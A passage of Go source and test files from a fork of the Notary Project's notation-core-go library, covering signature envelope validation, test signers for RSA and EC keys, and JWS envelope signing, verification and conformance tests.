= &TimestampError{} 206 | expectMsg = "timestamp error" 207 | if err.Error() != expectMsg { 208 | t.Errorf("Expected %v but got %v", expectMsg, err.Error()) 209 | } 210 | } 211 | -------------------------------------------------------------------------------- /signature/internal/base/envelope.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package base 15 | 16 | import ( 17 | "crypto/x509" 18 | "errors" 19 | "fmt" 20 | "time" 21 | 22 | "github.com/sugarylentil/notation-core-go/signature" 23 | nx509 "github.com/sugarylentil/notation-core-go/x509" 24 | ) 25 | 26 | // Envelope represents a general envelope wrapping a raw signature and envelope 27 | // in specific format. 28 | // Envelope manipulates the common validation shared by internal envelopes. 29 | type Envelope struct { 30 | signature.Envelope // internal envelope in a specific format (e.g. COSE, JWS) 31 | Raw []byte // raw signature 32 | } 33 | 34 | // Sign generates signature in terms of given SignRequest. 35 | // 36 | // Reference: https://github.com/notaryproject/notaryproject/blob/main/specs/signing-and-verification-workflow.md#signing-steps 37 | func (e *Envelope) Sign(req *signature.SignRequest) ([]byte, error) { 38 | // Canonicalize request. 39 | req.SigningTime = req.SigningTime.Truncate(time.Second) 40 | req.Expiry = req.Expiry.Truncate(time.Second) 41 | err := validateSignRequest(req) 42 | if err != nil { 43 | return nil, err 44 | } 45 | 46 | raw, err := e.Envelope.Sign(req) 47 | if err != nil { 48 | return nil, err 49 | } 50 | 51 | // validate certificate chain 52 | content, err := e.Envelope.Content() 53 | if err != nil { 54 | return nil, err 55 | } 56 | if err := validateCertificateChain( 57 | content.SignerInfo.CertificateChain, 58 | &content.SignerInfo.SignedAttributes.SigningTime, 59 | content.SignerInfo.SignatureAlgorithm, 60 | ); err != nil { 61 | return nil, err 62 | } 63 | 64 | // store the raw signature 65 | e.Raw = raw 66 | 67 | return e.Raw, nil 68 | } 69 | 70 | // Verify performs integrity and other signature specification related 71 | // validations. 72 | // It returns envelope content containing the payload to be signed and 73 | // SignerInfo object containing the information about the signature. 74 | // 75 | // Reference: https://github.com/notaryproject/notaryproject/blob/main/specs/trust-store-trust-policy.md#steps 76 | func (e *Envelope) Verify() (*signature.EnvelopeContent, error) { 77 | // validation before the core verify process. 78 | if len(e.Raw) == 0 { 79 | return nil, &signature.SignatureNotFoundError{} 80 | } 81 | 82 | // core verify process. 83 | content, err := e.Envelope.Verify() 84 | if err != nil { 85 | return nil, err 86 | } 87 | 88 | // validation after the core verify process. 89 | if err = validateEnvelopeContent(content); err != nil { 90 | return nil, err 91 | } 92 | 93 | return content, nil 94 | } 95 | 96 | // Content returns the validated signature information and payload. 97 | func (e *Envelope) Content() (*signature.EnvelopeContent, error) { 98 | if len(e.Raw) == 0 { 99 | return nil, &signature.SignatureNotFoundError{} 100 | } 101 | 102 | content, err := e.Envelope.Content() 103 | if err != nil { 104 | return nil, err 105 | } 106 | 107 | if err = validateEnvelopeContent(content); err != nil { 108 | return nil, err 109 | } 110 | 111 | return content, nil 112 | } 113 | 114 | // validateSignRequest performs basic set of validations on SignRequest struct. 115 | func validateSignRequest(req *signature.SignRequest) error { 116 | if err := validatePayload(&req.Payload); err != nil { 117 | return &signature.InvalidSignRequestError{Msg: err.Error()} 118 | } 119 | 120 | if err := validateSigningAndExpiryTime(req.SigningTime, req.Expiry); err != nil { 121 | return err 122 | } 123 | 124 | if req.Signer == nil { 125 | return &signature.InvalidSignRequestError{Msg: "signer is nil"} 126 | } 127 | 128 | if _, err := req.Signer.KeySpec(); err != nil { 129 | return err 130 | } 131 | 132 | return validateSigningSchema(req.SigningScheme) 133 | } 134 | 135 | // validateSigningSchema validates the schema. 136 | func validateSigningSchema(schema signature.SigningScheme) error { 137 | if schema == "" { 138 | return &signature.InvalidSignRequestError{Msg: "SigningScheme not present"} 139 | } 140 | return nil 141 | } 142 | 143 | // validateEnvelopeContent validates the content which includes signerInfo and 144 | // payload. 145 | func validateEnvelopeContent(content *signature.EnvelopeContent) error { 146 | if err := validatePayload(&content.Payload); err != nil { 147 | return &signature.InvalidSignatureError{Msg: err.Error()} 148 | } 149 | return validateSignerInfo(&content.SignerInfo) 150 | } 151 | 152 | // validateSignerInfo performs basic set of validations on SignerInfo struct. 153 | func validateSignerInfo(info *signature.SignerInfo) error { 154 | if len(info.Signature) == 0 { 155 | return &signature.InvalidSignatureError{Msg: "signature not present or is empty"} 156 | } 157 | 158 | if info.SignatureAlgorithm == 0 { 159 | return &signature.InvalidSignatureError{Msg: "SignatureAlgorithm is not present"} 160 | } 161 | 162 | signingTime := info.SignedAttributes.SigningTime 163 | if err := validateSigningAndExpiryTime(signingTime, info.SignedAttributes.Expiry); err != nil { 164 | return err 165 | } 166 | 167 | if err := validateSigningSchema(info.SignedAttributes.SigningScheme); err != nil { 168 | return err 169 | } 170 | 171 | return validateCertificateChain( 172 | info.CertificateChain, 173 | nil, 174 | info.SignatureAlgorithm, 175 | ) 176 | } 177 | 178 | // validateSigningAndExpiryTime checks that signing time is within the valid 179 | // range of time duration and expire time is valid. 180 | func validateSigningAndExpiryTime(signingTime, expireTime time.Time) error { 181 | if signingTime.IsZero() { 182 | return &signature.InvalidSignatureError{Msg: "signing-time not present"} 183 | } 184 | 185 | if !expireTime.IsZero() && (expireTime.Before(signingTime) || expireTime.Equal(signingTime)) { 186 | return &signature.InvalidSignatureError{Msg: "expiry cannot be equal or before the signing time"} 187 | } 188 | return nil 189 | } 190 | 191 | // validatePayload performs validation of the payload. 192 | func validatePayload(payload *signature.Payload) error { 193 | if len(payload.Content) == 0 { 194 | return errors.New("content not present") 195 | } 196 | 197 | return nil 198 | } 199 | 200 | // validateCertificateChain performs the validation of the certificate chain. 201 | func validateCertificateChain(certChain []*x509.Certificate, signTime *time.Time, expectedAlg signature.Algorithm) error { 202 | if len(certChain) == 0 { 203 | return &signature.InvalidSignatureError{Msg: "certificate-chain not present or is empty"} 204 | } 205 | 206 | err := nx509.ValidateCodeSigningCertChain(certChain, signTime) 207 | if err != nil { 208 | return &signature.InvalidSignatureError{ 209 | Msg: fmt.Sprintf("certificate-chain is invalid, %s", err), 210 | } 211 | } 212 | 213 | signingAlg, err := getSignatureAlgorithm(certChain[0]) 214 | if err != nil { 215 | return &signature.InvalidSignatureError{Msg: err.Error()} 216 | } 217 | if signingAlg != expectedAlg { 218 | return &signature.InvalidSignatureError{ 219 | Msg: fmt.Sprintf("mismatch between signature algorithm derived from signing certificate (%v) and signing algorithm specified (%vs)", signingAlg, expectedAlg), 220 | } 221 | } 222 | 223 | return nil 224 | } 225 | 226 | // getSignatureAlgorithm picks up a recommended signing algorithm for given 227 | // certificate. 228 | func getSignatureAlgorithm(signingCert *x509.Certificate) (signature.Algorithm, error) { 229 | keySpec, err := signature.ExtractKeySpec(signingCert) 230 | if err != nil { 231 | return 0, err 232 | } 233 | 234 | return keySpec.SignatureAlgorithm(), nil 235 | } 236 | -------------------------------------------------------------------------------- /signature/internal/signaturetest/algorithm.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package signaturetest includes variables and functions for signature 15 | // unit test. 16 | package signaturetest 17 | 18 | import "github.com/sugarylentil/notation-core-go/signature" 19 | 20 | // KeyTypes contains supported key type 21 | var KeyTypes = []signature.KeyType{signature.KeyTypeRSA, signature.KeyTypeEC} 22 | 23 | // GetKeySizes returns the supported key size for the named keyType 24 | func GetKeySizes(keyType signature.KeyType) []int { 25 | switch keyType { 26 | case signature.KeyTypeRSA: 27 | return []int{2048, 3072, 4096} 28 | case signature.KeyTypeEC: 29 | return []int{256, 384, 521} 30 | default: 31 | return nil 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /signature/internal/signaturetest/algorithm_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package signaturetest includes variables and functions for signature 15 | // unit test. 16 | package signaturetest 17 | 18 | import ( 19 | "reflect" 20 | "testing" 21 | 22 | "github.com/sugarylentil/notation-core-go/signature" 23 | ) 24 | 25 | func TestGetKeySizes(t *testing.T) { 26 | type args struct { 27 | keyType signature.KeyType 28 | } 29 | tests := []struct { 30 | name string 31 | args args 32 | want []int 33 | }{ 34 | {name: "RSA", args: args{keyType: signature.KeyTypeRSA}, want: []int{2048, 3072, 4096}}, 35 | {name: "EC", args: args{keyType: signature.KeyTypeEC}, want: []int{256, 384, 521}}, 36 | {name: "others", args: args{keyType: -1}, want: nil}, 37 | } 38 | for _, tt := range tests { 39 | t.Run(tt.name, func(t *testing.T) { 40 | if got := GetKeySizes(tt.args.keyType); !reflect.DeepEqual(got, tt.want) { 41 | t.Errorf("GetKeySizes() = %v, want %v", got, tt.want) 42 | } 43 | }) 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /signature/internal/signaturetest/signer.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signaturetest 15 | 16 | import ( 17 | "crypto/elliptic" 18 | "crypto/x509" 19 | "fmt" 20 | 21 | "github.com/sugarylentil/notation-core-go/signature" 22 | "github.com/sugarylentil/notation-core-go/testhelper" 23 | ) 24 | 25 | // GetTestLocalSigner returns the local signer with given keyType and size for testing 26 | func GetTestLocalSigner(keyType signature.KeyType, size int) (signature.Signer, error) { 27 | switch keyType { 28 | case signature.KeyTypeEC: 29 | switch size { 30 | case 256: 31 | leafCertTuple := testhelper.GetECCertTuple(elliptic.P256()) 32 | certs := []*x509.Certificate{leafCertTuple.Cert, testhelper.GetECRootCertificate().Cert} 33 | return signature.NewLocalSigner(certs, leafCertTuple.PrivateKey) 34 | case 384: 35 | leafCertTuple := testhelper.GetECCertTuple(elliptic.P384()) 36 | certs := []*x509.Certificate{leafCertTuple.Cert, testhelper.GetECRootCertificate().Cert} 37 | return signature.NewLocalSigner(certs, leafCertTuple.PrivateKey) 38 | case 521: 39 | leafCertTuple := testhelper.GetECCertTuple(elliptic.P521()) 40 | certs := []*x509.Certificate{leafCertTuple.Cert, testhelper.GetECRootCertificate().Cert} 41 | return signature.NewLocalSigner(certs, leafCertTuple.PrivateKey) 42 | default: 43 | return nil, fmt.Errorf("key size not supported") 44 | } 45 | case signature.KeyTypeRSA: 46 | switch size { 47 | case 2048: 48 | leafCertTuple := testhelper.GetRSACertTuple(2048) 49 | certs := []*x509.Certificate{leafCertTuple.Cert, testhelper.GetRSARootCertificate().Cert} 50 | return signature.NewLocalSigner(certs, leafCertTuple.PrivateKey) 51 | case 3072: 52 | leafCertTuple := testhelper.GetRSACertTuple(3072) 53 | certs := []*x509.Certificate{leafCertTuple.Cert, testhelper.GetRSARootCertificate().Cert} 54 | return signature.NewLocalSigner(certs, leafCertTuple.PrivateKey) 55 | case 4096: 56 | leafCertTuple := testhelper.GetRSACertTuple(4096) 57 | certs := []*x509.Certificate{leafCertTuple.Cert, testhelper.GetRSARootCertificate().Cert} 58 | return signature.NewLocalSigner(certs, leafCertTuple.PrivateKey) 59 | default: 60 | return nil, fmt.Errorf("key size not supported") 61 | } 62 | default: 63 | return nil, fmt.Errorf("keyType not supported") 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /signature/internal/signaturetest/signer_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package signaturetest 15 | 16 | import ( 17 | "testing" 18 | 19 | "github.com/sugarylentil/notation-core-go/signature" 20 | ) 21 | 22 | func TestGetTestLocalSigner(t *testing.T) { 23 | type args struct { 24 | keyType signature.KeyType 25 | size int 26 | } 27 | tests := []struct { 28 | name string 29 | args args 30 | wantErr bool 31 | }{ 32 | {name: "EC256", args: args{keyType: signature.KeyTypeEC, size: 256}, wantErr: false}, 33 | {name: "EC384", args: args{keyType: signature.KeyTypeEC, size: 384}, wantErr: false}, 34 | {name: "EC521", args: args{keyType: signature.KeyTypeEC, size: 521}, wantErr: false}, 35 | {name: "ECOthers", args: args{keyType: signature.KeyTypeEC, size: 520}, wantErr: true}, 36 | {name: "RSA2048", args: args{keyType: signature.KeyTypeRSA, size: 2048}, wantErr: false}, 37 | {name: "RSA3072", args: args{keyType: signature.KeyTypeRSA, size: 3072}, wantErr: false}, 38 | {name: "RSA4096", args: args{keyType: signature.KeyTypeRSA, size: 4096}, wantErr: false}, 39 | {name: "RSAOthers", args: args{keyType: signature.KeyTypeRSA, size: 4097}, wantErr: true}, 40 | {name: "Others", args: args{keyType: -1, size: 4097}, wantErr: true}, 41 | } 42 | for _, tt := range tests { 43 | t.Run(tt.name, func(t *testing.T) { 44 | _, err := GetTestLocalSigner(tt.args.keyType, tt.args.size) 45 | if (err != nil) != tt.wantErr { 46 | t.Errorf("GetTestLocalSigner() error = %v, wantErr %v", err, tt.wantErr) 47 | return 48 | } 49 | }) 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /signature/jws/conformance_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package jws 15 | 16 | import ( 17 | "crypto/elliptic" 18 | "crypto/x509" 19 | "encoding/json" 20 | "os" 21 | "reflect" 22 | "sort" 23 | "strings" 24 | "testing" 25 | "time" 26 | 27 | "github.com/sugarylentil/notation-core-go/signature" 28 | "github.com/sugarylentil/notation-core-go/testhelper" 29 | ) 30 | 31 | var ( 32 | // prepare signing time 33 | signingTime, _ = time.Parse("2006-01-02 15:04:05", "2022-08-29 13:50:00") 34 | expiry, _ = time.Parse("2006-01-02 15:04:05", "2099-08-29 13:50:00") 35 | // signedAttributes for signing request 36 | signedAttributes = signature.SignedAttributes{ 37 | SigningScheme: "notary.x509", 38 | SigningTime: signingTime, 39 | Expiry: expiry.Add(time.Hour * 24), 40 | ExtendedAttributes: sortAttributes([]signature.Attribute{ 41 | {Key: "signedCritKey1", Value: "signedCritValue1", Critical: true}, 42 | {Key: "signedKey1", Value: "signedValue1", Critical: false}, 43 | {Key: "signedKey2", Value: "signedValue1", Critical: false}, 44 | {Key: "signedKey3", Value: "signedValue1", Critical: false}, 45 | {Key: "signedKey4", Value: "signedValue1", Critical: false}, 46 | }), 47 | } 48 | // unsignedAttributes for signing request 49 | unsignedAttributes = signature.UnsignedAttributes{ 50 | SigningAgent: "NotationConformanceTest/1.0.0", 51 | } 52 | // payload to be signed 53 | payload = signature.Payload{ 54 | ContentType: "application/vnd.cncf.notary.payload.v1+json", 55 | Content: []byte(`{"key":"hello JWS"}`), 56 | } 57 | // certificate chain for signer 58 | leafCertTuple = testhelper.GetECCertTuple(elliptic.P256()) 59 | certs = []*x509.Certificate{leafCertTuple.Cert, testhelper.GetECRootCertificate().Cert} 60 | ) 61 | 62 | func conformanceTestSignReq() *signature.SignRequest { 63 | signer, err := signature.NewLocalSigner(certs, leafCertTuple.PrivateKey) 64 | if err != nil { 65 | panic(err) 66 | } 67 | 68 | return &signature.SignRequest{ 69 | Payload: payload, 70 | Signer: signer, 71 | SigningTime: signedAttributes.SigningTime, 72 | Expiry: signedAttributes.Expiry, 73 | ExtendedSignedAttributes: signedAttributes.ExtendedAttributes, 74 | SigningAgent: unsignedAttributes.SigningAgent, 75 | SigningScheme: signedAttributes.SigningScheme, 76 | } 77 | } 78 | 79 | // TestSignedMessageConformance check the conformance between the encoded message 80 | // and the valid encoded message in conformance.json 81 | // 82 | // check payload, protected and signingAgent section 83 | func TestSignedMessageConformance(t *testing.T) { 84 | // get encoded message 85 | env := envelope{} 86 | signReq := conformanceTestSignReq() 87 | encoded, err := env.Sign(signReq) 88 | checkNoError(t, err) 89 | 90 | // parse encoded message to be a map 91 | envMap, err := unmarshalEncodedMessage(encoded) 92 | checkNoError(t, err) 93 | // load validation encoded message 94 | validEnvMap, err := getValidEnvelopeMap() 95 | checkNoError(t, err) 96 | 97 | // check payload section conformance 98 | if !reflect.DeepEqual(envMap["payload"], validEnvMap["payload"]) { 99 | t.Fatal("signed message payload test failed.") 100 | } 101 | 102 | // check protected section conformance 103 | if !reflect.DeepEqual(envMap["protected"], validEnvMap["protected"]) { 104 | t.Fatal("signed message protected test failed.") 105 | } 106 | 107 | // prepare header 108 | header, ok := envMap["header"].(map[string]interface{}) 109 | if !ok { 110 | t.Fatal("signed message header format error.") 111 | } 112 | validHeader, ok := validEnvMap["header"].(map[string]interface{}) 113 | if !ok { 114 | t.Fatal("conformance.json header format error.") 115 | } 116 | // check io.cncf.notary.signingAgent conformance 117 | if !reflect.DeepEqual(header["io.cncf.notary.signingAgent"], validHeader["io.cncf.notary.signingAgent"]) { 118 | t.Fatal("signed message signingAgent test failed.") 119 | } 120 | } 121 | 122 | func getValidEnvelopeMap() (map[string]interface{}, error) { 123 | encoded, err := os.ReadFile("./testdata/conformance.json") 124 | if err != nil { 125 | return nil, err 126 | } 127 | return unmarshalEncodedMessage(encoded) 128 | } 129 | 130 | func unmarshalEncodedMessage(encoded []byte) (envelopeMap map[string]interface{}, err error) { 131 | err = json.Unmarshal(encoded, &envelopeMap) 132 | return 133 | } 134 | 135 | // TestVerifyConformance generates JWS encoded message, parses the encoded message and 136 | // verify the payload, signed/unsigned attributes conformance. 137 | func TestVerifyConformance(t *testing.T) { 138 | env := envelope{} 139 | signReq := conformanceTestSignReq() 140 | encoded, err := env.Sign(signReq) 141 | checkNoError(t, err) 142 | 143 | // parse envelope 144 | var e jwsEnvelope 145 | err = json.Unmarshal(encoded, &e) 146 | checkNoError(t, err) 147 | newEnv := envelope{base: &e} 148 | 149 | // verify validity 150 | content, err := newEnv.Verify() 151 | checkNoError(t, err) 152 | 153 | // check payload conformance 154 | verifyPayload(t, &content.Payload) 155 | 156 | // check signed/unsigned attributes conformance 157 | verifyAttributes(t, &content.SignerInfo) 158 | } 159 | 160 | func verifyPayload(t *testing.T, gotPayload *signature.Payload) { 161 | if !reflect.DeepEqual(&payload, gotPayload) { 162 | t.Fatalf("verify payload failed. want: %+v got: %+v\n", &payload, gotPayload) 163 | } 164 | } 165 | 166 | func verifyAttributes(t *testing.T, signerInfo *signature.SignerInfo) { 167 | // check unsigned attributes 168 | if !reflect.DeepEqual(&unsignedAttributes, &signerInfo.UnsignedAttributes) { 169 | t.Fatalf("verify UnsignedAttributes failed. want: %+v got: %+v\n", &unsignedAttributes, &signerInfo.UnsignedAttributes) 170 | } 171 | 172 | // check signed attributes 173 | sortAttributes(signerInfo.SignedAttributes.ExtendedAttributes) 174 | if !reflect.DeepEqual(&signedAttributes, &signerInfo.SignedAttributes) { 175 | t.Fatalf("verify SignedAttributes failed. want: %+v got: %+v\n", &signedAttributes, &signerInfo.SignedAttributes) 176 | } 177 | 178 | // check signature algorithm 179 | keySpec, err := signature.ExtractKeySpec(certs[0]) 180 | checkNoError(t, err) 181 | if keySpec.SignatureAlgorithm() != signerInfo.SignatureAlgorithm { 182 | t.Fatalf("verify signature algorithm failed. want: %d got: %d\n", keySpec.SignatureAlgorithm(), signerInfo.SignatureAlgorithm) 183 | } 184 | 185 | // check certificate chain 186 | if !reflect.DeepEqual(signerInfo.CertificateChain, certs) { 187 | t.Fatalf("verify certificate chain failed. want: %+v got: %+v\n", &signerInfo.CertificateChain, certs) 188 | } 189 | } 190 | 191 | func sortAttributes(attributes []signature.Attribute) []signature.Attribute { 192 | sort.Slice(attributes, func(i, j int) bool { 193 | key1, key2 := attributes[i].Key.(string), attributes[j].Key.(string) 194 | return strings.Compare(key1, key2) < 0 195 | }) 196 | return attributes 197 | } 198 | -------------------------------------------------------------------------------- /signature/jws/envelope.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package jws 15 | 16 | import ( 17 | "crypto/x509" 18 | "encoding/base64" 19 | "encoding/json" 20 | "fmt" 21 | 22 | "github.com/golang-jwt/jwt/v4" 23 | "github.com/sugarylentil/notation-core-go/internal/timestamp" 24 | "github.com/sugarylentil/notation-core-go/signature" 25 | "github.com/sugarylentil/notation-core-go/signature/internal/base" 26 | "github.com/notaryproject/tspclient-go" 27 | ) 28 | 29 | // MediaTypeEnvelope defines the media type name of JWS envelope. 30 | const MediaTypeEnvelope = "application/jose+json" 31 | 32 | func init() { 33 | if err := signature.RegisterEnvelopeType(MediaTypeEnvelope, NewEnvelope, ParseEnvelope); err != nil { 34 | panic(err) 35 | } 36 | } 37 | 38 | type envelope struct { 39 | base *jwsEnvelope 40 | } 41 | 42 | // NewEnvelope generates an JWS envelope. 43 | func NewEnvelope() signature.Envelope { 44 | return &base.Envelope{ 45 | Envelope: &envelope{}, 46 | } 47 | } 48 | 49 | // ParseEnvelope parses the envelope bytes and return a JWS envelope. 50 | func ParseEnvelope(envelopeBytes []byte) (signature.Envelope, error) { 51 | var e jwsEnvelope 52 | err := json.Unmarshal(envelopeBytes, &e) 53 | if err != nil { 54 | return nil, &signature.InvalidSignatureError{Msg: err.Error()} 55 | } 56 | return &base.Envelope{ 57 | Envelope: &envelope{base: &e}, 58 | Raw: envelopeBytes, 59 | }, nil 60 | } 61 | 62 | // Sign generates and sign the envelope according to the sign request. 63 | func (e *envelope) Sign(req *signature.SignRequest) ([]byte, error) { 64 | // get signingMethod for JWT package 65 | method, err := getSigningMethod(req.Signer) 66 | if err != nil { 67 | return nil, &signature.InvalidSignRequestError{Msg: err.Error()} 68 | } 69 | 70 | // get all attributes ready to be signed 71 | signedAttrs, err := getSignedAttributes(req, method.Alg()) 72 | if err != nil { 73 | return nil, &signature.InvalidSignRequestError{Msg: err.Error()} 74 | } 75 | 76 | // parse payload as jwt.MapClaims 77 | // [jwt-go]: https://pkg.go.dev/github.com/dgrijalva/jwt-go#MapClaims 78 | var payload jwt.MapClaims 79 | if err = json.Unmarshal(req.Payload.Content, &payload); err != nil { 80 | return nil, &signature.InvalidSignRequestError{ 81 | Msg: fmt.Sprintf("payload format error: %v", err.Error())} 82 | } 83 | 84 | // JWT sign and get certificate chain 85 | compact, certs, err := sign(payload, signedAttrs, method) 86 | if err != nil { 87 | return nil, &signature.InvalidSignRequestError{Msg: err.Error()} 88 | } 89 | 90 | // generate envelope 91 | env, err := generateJWS(compact, req, certs) 92 | if err != nil { 93 | return nil, &signature.InvalidSignatureError{Msg: err.Error()} 94 | } 95 | 96 | // timestamping 97 | if err := timestampJWS(env, req, signedAttrs[headerKeySigningScheme].(string)); err != nil { 98 | return nil, err 99 | } 100 | 101 | encoded, err := json.Marshal(env) 102 | if err != nil { 103 | return nil, &signature.InvalidSignatureError{Msg: err.Error()} 104 | } 105 | e.base = env 106 | 107 | return encoded, nil 108 | } 109 | 110 | // Verify verifies the envelope and returns its enclosed payload and signer info. 111 | func (e *envelope) Verify() (*signature.EnvelopeContent, error) { 112 | if e.base == nil { 113 | return nil, &signature.SignatureEnvelopeNotFoundError{} 114 | } 115 | 116 | if len(e.base.Header.CertChain) == 0 { 117 | return nil, &signature.InvalidSignatureError{Msg: "certificate chain is not present"} 118 | } 119 | 120 | cert, err := x509.ParseCertificate(e.base.Header.CertChain[0]) 121 | if err != nil { 122 | return nil, &signature.InvalidSignatureError{Msg: "malformed leaf certificate"} 123 | } 124 | 125 | // verify JWT 126 | compact := compactJWS(e.base) 127 | if err = verifyJWT(compact, cert.PublicKey); err != nil { 128 | return nil, err 129 | } 130 | 131 | return e.Content() 132 | } 133 | 134 | // Content returns the payload and signer information of the envelope. 135 | // Content is trusted only after the successful call to `Verify()`. 136 | func (e *envelope) Content() (*signature.EnvelopeContent, error) { 137 | if e.base == nil { 138 | return nil, &signature.SignatureEnvelopeNotFoundError{} 139 | } 140 | 141 | // parse protected headers 142 | protected, err := parseProtectedHeaders(e.base.Protected) 143 | if err != nil { 144 | return nil, err 145 | } 146 | 147 | // extract payload 148 | payload, err := e.payload(protected) 149 | if err != nil { 150 | return nil, err 151 | } 152 | 153 | // extract signer info 154 | signerInfo, err := e.signerInfo(protected) 155 | if err != nil { 156 | return nil, err 157 | } 158 | return &signature.EnvelopeContent{ 159 | SignerInfo: *signerInfo, 160 | Payload: *payload, 161 | }, nil 162 | } 163 | 164 | // payload returns the payload of JWS envelope. 165 | func (e *envelope) payload(protected *jwsProtectedHeader) (*signature.Payload, error) { 166 | payload, err := base64.RawURLEncoding.DecodeString(e.base.Payload) 167 | if err != nil { 168 | return nil, &signature.InvalidSignatureError{ 169 | Msg: fmt.Sprintf("payload error: %v", err)} 170 | } 171 | 172 | return &signature.Payload{ 173 | Content: payload, 174 | ContentType: protected.ContentType, 175 | }, nil 176 | } 177 | 178 | // signerInfo returns the SignerInfo of JWS envelope. 179 | func (e *envelope) signerInfo(protected *jwsProtectedHeader) (*signature.SignerInfo, error) { 180 | var signerInfo signature.SignerInfo 181 | 182 | // populate protected header to signerInfo 183 | if err := populateProtectedHeaders(protected, &signerInfo); err != nil { 184 | return nil, err 185 | } 186 | 187 | // parse signature 188 | sig, err := base64.RawURLEncoding.DecodeString(e.base.Signature) 189 | if err != nil { 190 | return nil, &signature.InvalidSignatureError{Msg: err.Error()} 191 | } 192 | if len(sig) == 0 { 193 | return nil, &signature.InvalidSignatureError{Msg: "signature missing in jws-json envelope"} 194 | } 195 | signerInfo.Signature = sig 196 | 197 | // parse headers 198 | var certs []*x509.Certificate 199 | for _, certBytes := range e.base.Header.CertChain { 200 | cert, err := x509.ParseCertificate(certBytes) 201 | if err != nil { 202 | return nil, &signature.InvalidSignatureError{Msg: err.Error()} 203 | } 204 | certs = append(certs, cert) 205 | } 206 | signerInfo.CertificateChain = certs 207 | signerInfo.UnsignedAttributes.SigningAgent = e.base.Header.SigningAgent 208 | signerInfo.UnsignedAttributes.TimestampSignature = e.base.Header.TimestampSignature 209 | return &signerInfo, nil 210 | } 211 | 212 | // sign the given payload and headers using the given signature provider. 213 | func sign(payload jwt.MapClaims, headers map[string]interface{}, method signingMethod) (string, []*x509.Certificate, error) { 214 | // generate token 215 | token := jwt.NewWithClaims(method, payload) 216 | token.Header = headers 217 | 218 | // sign and return compact JWS 219 | compact, err := token.SignedString(method.PrivateKey()) 220 | if err != nil { 221 | return "", nil, err 222 | } 223 | 224 | // access certificate chain after sign 225 | certs, err := method.CertificateChain() 226 | if err != nil { 227 | return "", nil, err 228 | } 229 | return compact, certs, nil 230 | } 231 | 232 | // timestampJWS timestamps a JWS envelope 233 | func timestampJWS(env *jwsEnvelope, req *signature.SignRequest, signingScheme string) error { 234 | if signingScheme != string(signature.SigningSchemeX509) || req.Timestamper == nil { 235 | return nil 236 | } 237 | primitiveSignature, err := base64.RawURLEncoding.DecodeString(env.Signature) 238 | if err != nil { 239 | return &signature.TimestampError{Detail: err} 240 | } 241 | ks, err := req.Signer.KeySpec() 242 | if err != nil { 243 | return &signature.TimestampError{Detail: err} 244 | } 245 | hash := ks.SignatureAlgorithm().Hash() 246 | if hash == 0 { 247 | return &signature.TimestampError{Msg: 